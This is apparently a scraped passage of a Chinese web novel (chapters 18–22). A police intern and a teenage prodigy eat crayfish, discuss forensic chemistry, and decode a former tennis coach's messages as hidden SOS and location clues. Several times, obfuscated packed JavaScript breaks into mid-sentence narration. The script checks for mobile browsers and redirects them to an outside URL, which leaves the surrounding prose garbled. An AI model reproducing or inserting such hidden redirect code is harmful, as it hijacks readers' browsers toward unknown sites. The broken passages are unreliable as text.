“什么?你抢的那个洗澡间,不但有你喜欢的莲蓬头,还有那什么沐浴液?”罗乐紧跟着问。 “自带。”陶律夏头也没回。 “打个球还要自带沐浴露?”罗乐皱了下眉,忍不住看了他一眼,“你是来打球,还是来做身体护理?” “我用不惯别的。”陶律夏回道。 怎么这么多事儿啊?明明随便冲一冲,就能清爽一整天,罗乐在心里碎碎念,但多事的香气偏偏混着热风钻进了他的鼻子——清新,又透着微甜,有点好闻…… 罗乐的鼻尖动了动,问:“你这是什么味儿?” “青柠罗勒与柑橘味。” “什么……什么……什么罗乐?!”罗乐当场变身复读机,还是卡带版。 “青柠罗勒,怎么了?”陶律夏察觉他语调不对,往回看了一眼。 “没什么……”罗乐迅速从卡带状态中复位,表情却还是有点僵:“忽然听你叫我名字,有点……不适应。” “我叫你名字?”陶律夏微微一顿,随即反应过来:“我说的是勾勒的「勒」,罗勒是一种香草。” “我哪听得出来……”罗乐低头嘟囔,耳朵不争气地热了点,他语气夸张地催促:“快去吃饭吧,我快饿死了!” 风带起刚抽出的柳絮,轻飘飘在两人中间打了个旋。 “我有点累了,想回去休息。”陶律夏低头理了理肩上的包带,声音不高,却没含糊。 “……你又累了?”罗乐在原地顿住,他抬手一挥,把飘在眼前的绒毛扇开。 “你欠我的饭,到底什么时候请,你请一顿饭就这么难?” “现在欠你两顿。”陶律夏停下脚步,回头看了他一眼,接着又面无表情地补了一句:“你今天教了我发球和正手击球。” “你把我当陪练呢!算得这么清楚!”罗乐冷笑了一声,“你是不是天天背着算盘上学?” 陶律夏转过身看着他:“罗警官,你算 1 + 1 = 2 ,还需要用算盘吗?” 这句话轻飘飘地落下,像一发直球砰地击中罗乐胸口——力道精准,杀伤力惊人。 “我是……我是因为不会算吗?!” 罗乐的音调直线拔高:“我那是!打个比方!你懂不懂什么叫打!比!方!你怎么什么都能杠上?!你是不是故意的!” 正午的阳光,照在罗乐的脑门上,把那点炸毛的情绪照得清楚通透。 陶律夏站在原地,看着他抓狂的样子,忽然……就找回了失联已久的自己。 脑内的非正常卡顿画面悄然退散,取而代之的是久违的冷静清明,大脑运转顺畅,连空气中的浮尘毛絮都好像排列有序。 系统开始自检: ——逻辑推演,恢复 ——情绪识别,恢复 ——语言处理能力,恢复 ——外界感知敏锐度,恢复! 触发这一切的,不是深度睡眠,不是冷水澡,不是深呼吸,不是高斯函数…… 而是此刻—— 罗警官被自己气到语义混乱、血压飙升、快要原地冲天的样子。 陶律夏微微地眨了一下眼睛,眼底浮现出一丝近乎神启式的顿悟——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“吃点低盐、低脂、营养均衡的东西,还有降压茶饮,可能比较适合你现在这样情绪不稳定的状态。”陶律夏神色一派天真。 “……怎么?你偷偷在我身上绑血压仪了?”罗乐哼了一声。 “我哪有……”陶律夏轻笑,“你的耳朵红得很明显。” 罗乐:“……” 对对对!被你这个「杠精静电侠」气得耳根子就要窜出蒸汽! 陶律夏见罗乐咬着牙、鼻翼微颤的样子,他像是想起什么似的,从包里掏出一盒软糖,打开,递到罗乐面前:“橘子、可乐、草莓,你想吃哪个口味?吃点甜的,心情会好一点。” 罗乐愤愤道:“谁要吃你的糖!不吃控压套餐、不吃甜的,我要吃高热量高辣度的——爆!炒!小!龙!虾!!!” 语气极度清晰、咬字非常标准、情绪直接升华到“舌尖上的怒火”。 陶律夏低下头,拿起一颗软糖放进自己嘴里,他嘴角轻轻一动,落下一个沉静又服软的声音:“好啊……” 19. 奇妙治愈 红亮的虾身冒着诱人的香气,罗乐一副“谁都别想劝我克制”的架势,掰壳的动作堪称迅猛,一只接着一只,像在用物理手段泄压。 虾壳很快堆成了小山头,他整个人沉浸在“暴力拆虾”的愉悦中,直到无意间一抬头—— 发现陶律夏的碗里只有几片凉拌木耳和拍黄瓜,眼前那盆小龙虾碰都没碰。 罗乐手里的动作一顿:“你怎么不吃?海鲜过敏吗?” “小龙虾不是海鲜。” 罗乐:“……” “小龙虾是淡水甲壳纲。”陶律夏顿了顿,又补充道—— “不过,它和海里的虾蟹一样都含有甲壳素和某些蛋白质,可能会触发部分人免疫系统过度反应,出现瘙痒、红疹,甚至休克。” 罗乐脑袋发麻,感觉自己的食欲已经被甲壳素直接带走了。 “……你是说你过敏?”他尽力提炼重点。 “没有。”陶律夏回道。 “那你是……不爱吃辣?蒜蓉的你也一只都没碰啊。你不喜欢吃小龙虾?”罗乐试探着问。 “没有吃过,不确定喜不喜欢。”陶律夏如实回道。 “什么——”罗乐险些被呛着,声音控制不住地拔高了,“你没吃过小龙虾?!” “从来没吃过,有什么问题吗?”陶律夏抬头看了他一眼,神色坦然得好像自己才是正常的那一个。 罗乐呼吸一滞,盯着陶律夏看了几秒—— 骑Brompton,他忍了; 书包随心情变色,他接受了; 开口就是知识暴击,他快适应了; 祖·玛珑的柑橘味,他都闻习惯了! 但现在告诉他,人生十七年没吃过小龙虾?这句话把他心里那点「其实我们也没差太多」的错觉敲得粉碎。 「静电侠」不是刻意高冷,也不是在装,而是他们本来就生活就两个世界。 他坐在那里,背挺得笔直,像是月光下生长的高冷植株,和热辣滚烫、油烟四溢,塑料手套贴着手心的小龙虾世界,天然就隔了一层。 罗乐又一次碰到了那个距离——地球与月球之间隔着的三十八万公里。 他垂下眼,机械地剥着虾壳…… 小龙虾不香了。 胃口,跟着沉进了锅底。 心里那点热乎劲儿,也悄无声息地冷了。 沉甸甸的失落像店里的油烟,软软糊糊地落下来,没声没响地罩住了他。 他不知道自己到底在不爽什么? 不过就是被一句“从来没吃过”撞了一下,为什么会让人这么……沮丧? “你不高兴?”陶律夏忽然开口。 声音不大,却像一颗小石子落进那锅糊成一团的情绪里,“咕嘟”一声,沉了下去……. “我哪不高兴了?”罗乐硬邦邦地回怼。 陶律夏:“你剥虾的手速下降了50%,平均每只增加了大概半分钟。” 罗乐抬起头看着陶律夏,这语气,这表情,这稳如老狗的面部控制力!他还能现场给你上测速仪! 不吃辣、不吃虾、不爱热闹,来这小店都像是误入的……他们的差异简直比马里亚纳大海沟还要深不可测。 罗乐喉结动了动,嗓子发涩,声音不由自主地压低了一点:“你又不爱吃小龙虾,为什么还要跟我一块来?” “我并不是故意气你。”陶律夏说得慢而清晰,“但既然我让你生气了——” “陪你吃你喜欢的东西,你会不会开心一点?” 短短一句话,没什么铺垫,也没有情绪起伏,却让罗乐沉在锅底的情绪,呲啦一声,炸开了。 “这算什么?你在补偿我吗?”罗乐眼神闪动。 “准确地说是回报。”陶律夏慢悠悠地拿起一只小龙虾,拧头、剥壳、抽肉,动作一丝不苟,像在执行什么严肃又温柔的操作任务。 最后,他把那一小截虾尾放进了罗乐的碟子里,神色认真道:“回报某种……奇特的「治愈」。” 剥壳、投喂、共食…… 这不是只会出现在恋综高甜环节里的——危险剧情吗?! 罗乐甚至忘了问一句「什么治愈」,大脑已经被突如其来的情绪灌得满满当当。 内心警报声连连拉响,指尖都快攥出汗了,但,他还得撑着,一脸「老子冷静」的死硬表情。 “你……怎么了?” 耳边传来少年的声音,陶律夏看着他,眼神里写满了“单纯无害”,完全没意识到自己刚刚往罗乐的安全防线上丢了一颗核弹。 “快点吃吧。”陶律夏慢悠悠道:“油脂冷了,味道会钝化,可能会影响你暴躁时进食的愉悦感。” 罗乐:“……” ——油脂冷了?味道钝化?暴躁进食?还愉悦感!谁家恋综拍到一半,还能突然硬切到《食品科学》小课堂的! ……多巴胺全浪费了,罗乐咬着牙在心里骂自己。 他一把将陶律夏眼前的虾盆拉过来:“你别剥了!你这种剥法是对虾的不尊重!虾脑都被你丢了,知道你扔掉的是什么吗?” 陶律夏微微一顿,语气平淡地接道:“虾的肝胰腺,含有脂类、色素以及可能的重金属沉积。” 罗乐:“……” 这人真的是混沌杀手,一张嘴就能把迷惑局面拆解成让人窒息的理综题解现场。 “就你废话多!精华全都被你丢了!”罗乐一边嫌弃,一边剥虾,动作又快又利落。 剥好的虾,他一只没吃,全都码得整整齐齐,像小山一样堆在碟子里。 虽然之前从没干过给人剥虾这种活儿,但说到底——剥壳这种事儿,充其量不过是大哥照顾小弟的基本素养。 和给哥们传个球,给兄弟递个文件,没有本质区别。不过是食物链顶端的人类,为同类提供一点生存便利罢了! 看着碟子快堆满了,他咳了一声,漫不经心地推到陶律夏面前,语气拽拽地开口:“连个小龙虾都没吃过,你说你这个人生活的得有多乏味。” 陶律夏看了一眼,夹起一只虾尾,送进口中。温度适中,质地Q弹,酱汁偏重,蒜香、辣味、花椒香气分层释放,味觉刺激中等。 他在大脑里迅速完成了基本成分分析,理论上,重口味食物并非自己的偏好,但这个——意外地「还不错」。 “怎么样?”罗乐的眼睛一眨不眨地看着陶律夏,眼前的场景被他赋予了的意义——好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939308|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像远在天边的少年,正试图融入这个有点吵、有点乱,但却很温热的世界。 “还不错……”陶律夏点点头,接着像在认真补充附件条件似的,又加了一句:“不过,虾脑我不吃哦。” “不吃给我!”罗乐手一伸,动作比大脑快了一步,直接从陶律夏手里接过了碟子。 指尖刚碰到盘底,温热的触觉就顺着神经一路窜上来,伴着一股细微的电流,直接扎进心脏。 自己这是在干什么?! 是在吃他吃剩的东西吗?! 罗乐动作一滞,整个人僵硬得像个正在强制重启的机器人,他硬生生按下清除指令,把那团乱七八糟、没头没尾的情绪一股脑的全都删掉。 这能是吃别人剩的? 这是出手善后,给地球环保事业打补丁! 还不是因为「静电侠」事儿太多,搞得他不得不亲自上阵。他要是不出手,都对不起那些死去的小龙虾! * 两人吃完对地球做出微小贡献的一顿饭,各自回了家。 罗乐打开电脑,导师的电子邮件弹了出来。他盯着标题,头先大了一圈。 都怪自己前两天太卷,写论文时飘了,手一抖在第三章第四个小节里加了个——「毒物的微量物证提取与侦查策略」。 结果,老王怎么就偏偏盯上了这段? 文档旁边写着一行醒目的批注: 【GC-MS部分描述略显简略,可补充基本原理和与主题相关的应用。】 【代谢产物分析图建议优化,突出关键路径,注意与主文逻辑保持一致。】 罗乐看着批注,苦笑一声。补充?优化?开什么玩笑呢?老王以为谁都像他一样,一边干侦查,一边兼职当化学家? 分析代谢物的关键路径?有这素质,他还不如好好研究下——今天吃虾脑差点糊住自己大脑,到底是什么路径。 不过答辩在即,他也没有时间硬刚,罗乐看着批注,心里飞快地盘算着—— 要补论文里那点毒物代谢的细节,最简单的办法是找程野,老同学,现在在化学专业混得风生水起。 又或者去找贺昀师兄,让他帮着联系个公安局技侦科的人,专业、靠谱、闭着眼都能给他弄明白。 可是,手指在屏幕上滑来滑去,罗乐最终点开了另一个对话框——陶律夏。 「静电侠」超话里的神迹之一:“十四岁时,自学解出京北大学化学高阶题。” 这是真的,还是吹的?正好趁这个机会验证一下。最好,能亲眼看到他翻车,让他尝尝什么叫答不上来,尬在原地的滋味! 这么想着,罗乐心安理得地动了动手指,把论文里那段带批注的小节截了图,顺手又拍了两张标红的地方,一股脑整理好,发了过去。 ——【有时间帮我看点化学题吗?】 ——【对你来说,应该不难吧?】 短短两句话,表面看着平平无奇,实际上心机满满。尤其是最后一句,看似随口一提,实际上是亲手把「静电侠」架在了火上,简直是一处妙笔! 不愧是他,策略清晰,诱敌深入,步步为营。只要「静电侠」稍有迟疑,他就能当场宣布——超话神迹破产! 20. 神秘男子 十几分钟过去,陶律夏那边依然没有动静,罗乐心情大好,这可是刑侦化学啊,他一个高中生还能刚好涉猎? 罗乐兴奋得连脚底板都不自觉地打起了拍子。他盘算着,再给对方留一点时间,然后就平平淡淡地回一句:【不会就算了,我再自己研究一下。】 这句话也暗藏深意——我自己能搞定,你却没搞定,不动声色地透出「哥比你强」的气势。 一环扣一环,滴水不漏,实在是完美! 罗乐正沉浸在自己精心编排的复仇剧本里,手机“咻”的一响,弹出一条新消息。 他心下一紧,飞快点开,看到了陶律夏写的笔记——书写排版干净利落,公式推导一气呵成,连旁边的标注都带着和本人一样的精确冷静。 准确性待查,但字里行间透露着让人咬牙切齿的拽劲儿,单凭「气场」判定:这玩意儿应该是对的。 字也好看得过分,运笔中透着干净又锋利的美感,像一张张刀片,把罗乐的复仇计划全剐了! 不但没看到对方翻车,还亲手验证了超话神迹之一:十四岁自学解出京北大学高阶化学题,顺带又确认了超话神迹之二——笔记漂亮得像印刷体…… 正当罗乐思考着要不要找个台阶自救,陶律夏又发来一条消息——【关于论文我有个小建议想和你聊聊,要不要通个电话?】 短短一句话,如同暴击命中。 谁能想到?本想让「静电侠」难堪,结果这么快破功,还得硬着头皮跟学神直接开麦讨论学术……这算什么?自掘坟墓? 罗乐咬了咬牙,手指僵硬地打下两个字——【可以】,按下发送键的一瞬间,他莫名有种壮士赴死的决绝感。 地狱VIP专线接通的那一瞬间,罗乐下意识挺了挺背,他还没来得及打招呼,耳边已经响起陶律夏的声音: “你论文里提到的GC-MS检测,如果用于追踪毒物代谢物,建议补充常见代谢产物的碎片离子特征,具体可以参考NIH数据库的标准谱图……” 没有寒暄,没有铺垫,语调冷静得像在手术台上挥刀…… 罗乐在「就你懂得多」的愤愤和「是不是自己太菜」的怀疑中反复横跳,还得时不时地敷衍几声“嗯嗯嗯”。 好不容易熬到电话那头的输出终于停了,他刚要喘口气,忽然传来猝不及防的一声——“你晚上喷喷雾了吗?” 罗乐一时没反应过来,愣了一瞬:“什么?” 陶律夏:“我给你的镇痛喷雾。” 从学术暴击战场瞬间被拽到“你吃药了吗”的生活关怀小组,罗乐整个人都不会了,连最顺溜的嘴硬台词都忘了接。 “那款很温和,你放心用就好。”陶律夏的声音带着一点温和的提示,听起来像是哄劝诊室门口死活不肯打针的小孩…… 罗乐一手拿着手机,一手从包里翻出那瓶喷雾,包装花里胡哨,还印着一行小字,凑近一看,又绷不住了——儿童可用…… 他攥着手机,百感交集,心想此时如果回敬一句:“你怎么这么啰嗦!”或者“老子才不要用什么儿童型!”是不是能给自己找回一点面子?但,嘴好像被什么糊住了。 “你怎么不说话。”少年轻声问道。 “我在点头,我一会用。”罗乐应道。 “好的,那我先挂了,再见罗警官。” “再见,小陶。” 足足过了五分钟—— 罗乐才像慢动作播放一样动了动,他抓起喷雾,朝自己胳膊上胡乱喷了一圈,然后把那个小瓶子郑重其事地摆在桌子角,划归进「还要用」的物品区。 收拾妥当后,他躺倒在床上,盯着天花板发呆,心口还挂着一点乱糟糟的感觉。 这到底算什么啊?为什么要关心他?打着学术交流的名义,偷袭他的神经系统吗?毫无防备,不讲武德! 这到底是个什么人啊?罗乐愤愤地起身,摸到手机,点进了久违的#实验中学陶神超话#。 最近忙着实习收尾、写论文、练网球,一周都没上来看,连签到都断了。 结果,刚点进去,罗乐就看见首页挂着一串炸裂的标题:【本周热帖精选 | 陶神身边神秘男子曝光?(图)】 他心头咯噔一下,刚刚那点被关心砸得软软的心情,瞬间就吓没了。 什么?什么男子?!不会是我吧?!罗乐手指一抖,点了进去—— 【楼主正文】: “我本来不想爆料的,但这个男的之前出现过几次,还有一次,两人在学校对面的麦当劳!谁懂他是谁???氛围太诡异了!补充:照片是我体育组学妹转发给我的,略糊。” 虽然照片糊成一团,但罗乐一眼就认出是「静电侠」没错,而图里的那个人不是他…… 不是我?那是谁?! 罗乐眼神一沉,眉心拧成了个“川”字。 【热评1】:不是吧不是吧,陶神也有“年上稳定型关系”?我不信! 【评论2】:看那男的站位,强控感好绝,太有占有欲了! 【热评3】:冷感学神X斯文败类,妈呀我磕了! 罗乐看着这些评论,手机都要捏变形了,他的脸色逐渐从「震惊」转向「暴躁」。 不是,这个组织不都是「毒唯」吗?现在怎么嗑上CP了?!老子这么英俊潇洒怎么没人嗑? 「静电侠」不会真有对象吧?高中生不好好学习谈什么对象?谈对象干嘛还要时不时地撩……其他人!!! 无法命名的,混合了危机感、嫉妒心和某种古怪的“我是不是被小崽子耍了”的焦灼,像一锅刚煮开的水汽,一窝蜂地往罗乐胸口冲。 【热评4】:我有点心痛诶……他们是不是很熟? 【热评5(ID静电小甜心)】:我更想知道,他们现在还熟不熟。 罗乐打起精神,又放大看了一遍糊片,终于发现了“华点”——照片里的二人都穿着有些厚重的长袖、长裤。直觉告诉他,这个时间节点不对。 他皱着眉想了一会,果断打开自己的小号。 【时间:22:18】 【账号:静电小甜心】 【求助】:有没有姐妹整理过“神秘男子目击时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【回复1(静电小甜心)】:楼上的!这里是情报组!嗑CP请自己重开! 【评论9】:@静电小甜心,姐妹你是新粉吧?要不要加入“陶神情感分析组”、“陶神动向观察站”? 【评论10】:@静电小甜心,姐妹,建议你去“陶神动态图像研究小组”,你这视力一看就是练过的!我们可以拉你进来! 罗乐沉默了…… 他本来是想把这个“邪/教组织”一锅端掉,结果,这些信徒居然要拉拢他成为“业务骨干”!?甚至,他手一抖,差点就按下“申请加入”。 看着评论数字节节攀升,罗乐突然生出一种“潜伏在犯罪现场,不小心掌握太多信息”的离谱感。 不管怎么样,他都不能让这谜底悬着,必须搞清楚这男的到底是谁!他不是八卦,不是无聊,更不是上头,他是为了保护未成年人,防止身边潜藏的危险分子。 他倒要看看,是谁敢动祖国的花朵? 21. 舔狗情诗 五天过去,#实验中学陶神超话#关于“神秘男子”的推理帖,已经更新到第六版。 整理帖、时间线、气场分析、身高对照图一应俱全,讨论密度堪比刑侦研讨会,真相逐渐浮出水面:陶律夏的教练,确定存在。 而罗乐,几乎已经破案。 他靠着查监控练就的火眼金睛,在某张只露出背包一角的照片里,准确识别出只有专业网球包才有的侧边压扣。 作为一个专业、冷静、守护群众的热心警察,罗乐在得出结论的第一时间就制定好了应对方案——取而代之。 「静电侠」打得烂不怪他,练得那么菜都是教练不行。我要是教练?凭这小子的天赋,说不定都能进省队了! 本着教学育人、拯救天赋、吊打小菜鸟这种好事不能便宜别人等诸多原因,某个周末的傍晚,罗乐再次现身实验中学门口。 他又打扮成了不能见光的隐士,帽檐压低、口罩遮脸,悄悄猫在一群等单的外卖骑手中。 超话姐妹好不容易才宣告「神秘男子」的案件告一段落。他要是再被拍上墙,怕是得掀起“挖坑苦力又回归”的新舆情。 不过事实证明,他的警觉完全多余。 一直等到天都黑了,陶律夏才慢吞吞地从校门口晃出来。 罗乐等人的时候已经在脑海中预演过:“偶遇—搭话—顺势提出再虐你一次”的全套流程。但两人目光相接的一瞬间,剧本却瞬间跑偏,变成了:“这么晚,你吃饭了吗?” 少年安静地垂着眼,眼神瞟过自己的鞋尖,没接话。 这个沉默的意思是「没吃,但不想被你邀请」,罗乐秒懂,他心下一哽,随即换了话题:“你今天没骑车?” “走回去,你是专门来找我的吗?”陶律夏的目光从鞋尖挪到了罗乐脸上。 “回所里拿东西,路过。太晚了,我陪你走一段吧。”罗乐顺势往外错了一步,语气自然,动作绅士。 “不必了。”陶律夏站定在原地。 听见这仨字,罗乐脸上的表情一秒崩坏。好啊,和别人吃麦当劳就行,和我连顺路走走都不愿意! “那就你陪我走一段!”他赌气似的把话一扔,迈开步子走了,背影写满了“随便你,爱来不来”! 陶律夏看着那背影愣了一下,随即跟了上去,问:“你的胳膊好了吗?” “好了。”罗乐哼了一声,心说单手也能虐你200回合,语气却不自觉软了:“什么时候再去练练?” “不太想练。”陶律夏回道。 怎么听着一点热情也没有?菜鸟该不会想放弃吧?他这「取而代之」的计划还没开始呢。罗乐正琢磨怎么重新点燃少年的网球热情,陶律夏忽然开口了—— “明天是休息日,你有时间吗?我有点事想和你商量。” “有啊!”罗乐秒回。 “那就明天下午三点,在南山路西格多书店的咖啡吧见。” 把陶律夏送到公寓门口,罗乐跳上回学校的公车。 他看着窗外流动的夜景,思绪如脱缰的野马。有点事商量?能是什么事? ——学习?不可能,行走的学神,哪轮得到他来操心? ——打球?他刚都说了“最近不想练”,这条也PASS! 难道是找他帮忙? 那家伙整天一副理直气壮,又不爱欠账的样子,真有事也只会「吩咐」,哪还用「商量」? 不会真被哪个混账撩了,遇到麻烦了吧?! #实验中学陶神超话#里的那些烂俗设定——阳光校草、乖张竹马、隐忍教练......在罗乐脑中飞快闪过,他牙关一紧,拳头都硬了。 这种事找他算是找对了!要真有人敢不知死活地骚扰,那就必须让人渣好好体验一下什么叫“公安局重点关怀”!违法行为按流程处理,其他问题,他可以亲自解决。 * 周日下午两点,罗乐一改平时套件衣服就出门的野生作风,破天荒地在镜子前折腾了整整二十分钟。 最后,他选了件原野绿的条纹衬衫,领口松开两粒,露出锁骨,下身搭了条浅色牛仔裤和复古板鞋。发型认真地抓了又抓,是那种“我没刻意搞造型,但有点帅”的程度。 到了书店门口,罗乐瞄了一眼落地玻璃——身形笔直,发型自然,书包斜背得刚刚好。确认无误后,他满意地点点头,迈着走秀般的步伐踏了进去。 陶律夏已经到了,他没有注意到罗乐略显骚包的造型,只抬了一下眼皮,便将椅子上的书包挪开,给他腾了个位置。 就这?!罗乐脚步一顿,气场瞬间垮了一半。他狠狠拉过椅子,一屁股坐下,书包还没放稳,就见陶律夏把手机推了过来:“你帮我看看这些。” “什么东西?”罗乐接过手机,瞅了一眼屏幕上的微信消息。 「律夏.我最近玩了个小游戏.主角有些像我.想去追一个不可能的人」 「律夏...我梦到你了...你让我好好努力...怀念和你一起打球的日子」 「律夏.这里的热浪.总是不停.就像我对你的心意」 「这个地方热得...像蒸笼...空气里全是烤焦的味道...就像我对你的心意...炙热.又停不下来」 …… 扫到第一行,罗乐心里咯噔一下,等看到最后一条时,怒气已直冲天灵盖。还真有不知死活的骚扰犯!他嘴角抽了抽,差点没把手机摔了:“这人谁啊!” “你小声点……”陶律夏压低了声音,“这是我之前的网球教练。” 果然是他!罗乐烦躁地一抬手,把精心梳理的发型全抓乱了:“这不就是个变态嘛!你先把他拉黑!” 陶律夏:“我觉得有点奇怪,他最近每次发消息的时间都很固定,基本都是周日下午五点左右。” “什么!”罗乐的火气又被勾了起来,“他还定着闹钟骚扰你吗?” “不是,你看这条——” 「这里白天闷热…晚上却很凉快…昨晚去打了网球…试着打了一记放短球…结果被对方直接回了ACE.忍不住想起你教我正手的样子」 罗乐把头偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被变态骚扰,还要拉上别人给「舔狗文学」做文本分析,罗乐冷着脸,不愿搭话。 “我一开始以为是排版问题,但重复次数太多,不像偶然。”陶律夏又靠近了一点,声音很轻:“我怕是我先入为主,你再帮我看看嘛……” 罗乐装死了几秒钟,最终还是撑起一口职业尊严,像个被逼着加班的老干部,半死不活地接过手机。 他扫过那些矫情到令人脚趾抠地的句子,突然目光沉了下去,某种直觉在脑海中翻腾。 罗乐:“这好像是……摩斯密码。” 陶律夏:“你也觉得是?” 三短、三长、三短—— 罗乐下意识坐直了身,用手指在桌面轻敲,随着最后一个动作,二人的目光在空中交汇。 “SOS。”陶律夏缓缓开口。 这不是舔狗的情诗…… 这是求救信号。 22. 这叫摸头杀? “就这些?”罗乐的手指飞快地滑回那几条“骚话”。 陶律夏点点头:“除了SOS,后面这三句编译过来是999,但我不确定是什么意思。” “是不是你们之间的什么暗号?”罗乐盯着屏幕,眼角的余光却瞄向陶律夏的脸。 “不是。”陶律夏果断道。 罗乐一抬眼:“再想想,你不是记性好嘛,说不定是你们俩之间的……默契。” 陶律夏的眼皮微微颤了一下,声音破天荒地拔高了半度:“我说了,不——是!” 好嘛,这么大反应,看来「默契」是真没有,罗乐心笑,理智重新回笼,探案状态也跟着上线。 他指着手机屏幕分析道:“‘9’出现的语境是‘这里……怎样’,应该和地点有关。” “999是英国、港澳地区、马来西亚的报警电话,你们最后一次见面是什么时候?” 陶律夏被眼前这人前一秒阴阳怪气、后一秒正经探案的变脸速度搞得没了脾气,顺着话接道:“3月16号,他告诉我,拿到新加坡一家健康管理公司的Offer。” “健康管理公司?去那儿干什么?教人打网球?”罗乐眉毛一挑。 “他学的是生物信息学,”陶律夏解释说,“网球是业余练的,但我觉得他水平不错。” 水平不错?罗乐心说那你上了六节课,发球还跟抛接球似的?球没打明白,光顾着交流生物信息呢! 一副荒谬的画面浮现在罗乐眼前—— 网球场上,一个人边挥拍边喊:“手臂发力要用前臂肌群!”另一个人停下动作:“这样能不能加快能量代谢的速率?” 笑死,罗乐咳了一下,强行把表情拉了回来:“你教练叫什么名字?” 陶律夏:“周隽。” 罗乐:“哪个字?” 陶律夏:“隽永的隽。” 人如其名,说话都透着文艺病晚期那味,罗乐心哼一声,又问:“年龄?” “你问这个干什么?”陶律夏有些疑惑。 “职业习惯。”罗乐板着脸说。 陶律夏顿了顿,配合地给出答案:“23岁,要不要把他的身高、体重也一块报给你?” “什么!你还有他身高体重?”罗乐脸色垮了下来,“你知道这些干嘛?相亲呢!” 陶律夏瞥了他一眼:“应聘网球教练的简历。” 罗乐心下一松,往椅背上一靠,从包里掏出一个橘子,掰了一瓣丢进嘴里,发现很甜,才把另一半递到陶律夏面前:“先休息会,补点维C。” 陶律夏头也没抬,手指轻轻一拨,把放在纸巾上的橘子推了回去:“我不是流浪猫,不需要强制投喂。” ——请不要强制投喂小猫咪! 如此直白的拒绝,罗乐竟没觉得难堪,反倒品出了一点奇怪的……甜味。就像被一个毛茸茸的小东西抓了一下,它抓完人,甩着尾巴走了,你却还看着背影傻乐。 他扯出一个“哥不跟你计较”的笑容,把那几瓣橘子丢进嘴里。接着从书包里掏出《毒物分析与法医学》,翻开折角的地方进入读书模式,刚翻了几页,胳膊就轻轻碰了一下—— “罗警官,接下来该怎么办?他在向我求助,我不能装作没看见。” “这种事当然不能装作没看见。”罗乐正了正神色,语气严肃了点,“现在信息不太多,咱们得等等。” “等他今天下午再发消息,对吗?”陶律夏问。 “嗯。”罗乐看了眼时间,嗤笑道,“等他再来一段‘烈日灼心我心碎’的暗语长诗。” 陶律夏:“……” * 两个人一直待到书店快关门了,周隽终于发来消息—— 「昨天正午,我站在阳光下,影子像手机那么短小、微弱,像是要被烈日吞噬,失去你,我的整个存在都支离破碎……」 这也太矫情了!罗乐扫了一眼屏幕上的文字,发出一声冷笑:“失联一下午就为了写这个?他这是被困在诗社了?” “这有几处有用的信息,正午、影子、身高。”陶律夏指了指屏幕上的字,抽出一张稿纸,低头开始演算:“昨天是4月18号,根据周隽身高1.85米和影子高度大约15厘米,推算太阳高度角……” 罗乐在旁边探头看了一会,问:“你那个教练有1米85?看着最多1米8,估计还得踮脚,哪来的1米85?” “你呢?”陶律夏头都没抬,笔尖在纸上沙沙作响,稿纸已经写了半页。 罗乐挺直腰板:“1米88,实打实的!周隽和你说他有1米85?还写简历里?” 陶律夏一把将稿纸撕下,又打开电脑,调出地图,放在罗乐面前—— “根据太阳高度角,推算直射点的纬度范围,符合周隽描述的地区大概是马达纳东南部、昆塔南部、丹梵中部或者蒙拉南部。(注1) 罗乐盯着那张密密麻麻的计算式,愣了几秒钟:“等等!你这是怎么算出来的?” 陶律夏:“你为什么说周隽看着挺矮的?” 罗乐:“高中地理还教这个?” 陶律夏:“你见过周隽?” 罗乐:“就这么点信息,你怎么算出来的?” 陶律夏:“你到底是在哪里见过周隽?” 二人鸡同鸭讲一番,罗乐眼看就要露馅,紧张之下灵光一闪,警察的直觉救了他—— “先不说这个!“ 罗乐飞快扫过搜索页面,半分钟后,他把手机屏幕怼到陶律夏面前,语速飞快:“结合你分析出来的这几个地方,周隽之前发的‘999’很可能是国家区号!中国是+86,而马达纳的区号刚好是——+999。” 陶律夏盯着屏幕,眼神微动:“可能性很大,但也不排除巧合。” “我也是这么想的。”罗乐点点头,“得和他本人确认一下,你把手机给我!” 没过一会,罗乐便在微信对话框里敲下一段情绪爆炸的发言——「你烦不烦!我在告诉你一次!给我马上消失!难道不达目的就要死死纠缠?你什么人呐!哪凉快待哪吧!」 “咻”的一声,信息发出去了。 “喂!”陶律夏看着屏幕上的字,又惊又气:“你怎么可以这样回?!” “对待舔狗,本来就得这么回才像样。”罗乐一脸无所谓地耸耸肩。 “你……”陶律夏一把抢过手机,准备撤回。 “别啊!”罗乐赶紧拦住,“我发的是正经密语,藏字款,第一字是你,后面的每句往后错一个字……” 罗乐在屏幕上划拉着:“连起来就是「你在马达纳吧?」” “这能行吗?”陶律夏半信半疑地问。 “试试看呗,希望你那教练脑子灵光点,有消息你截图转我,我去打听打听。”罗乐说着又剥开一个橘子。 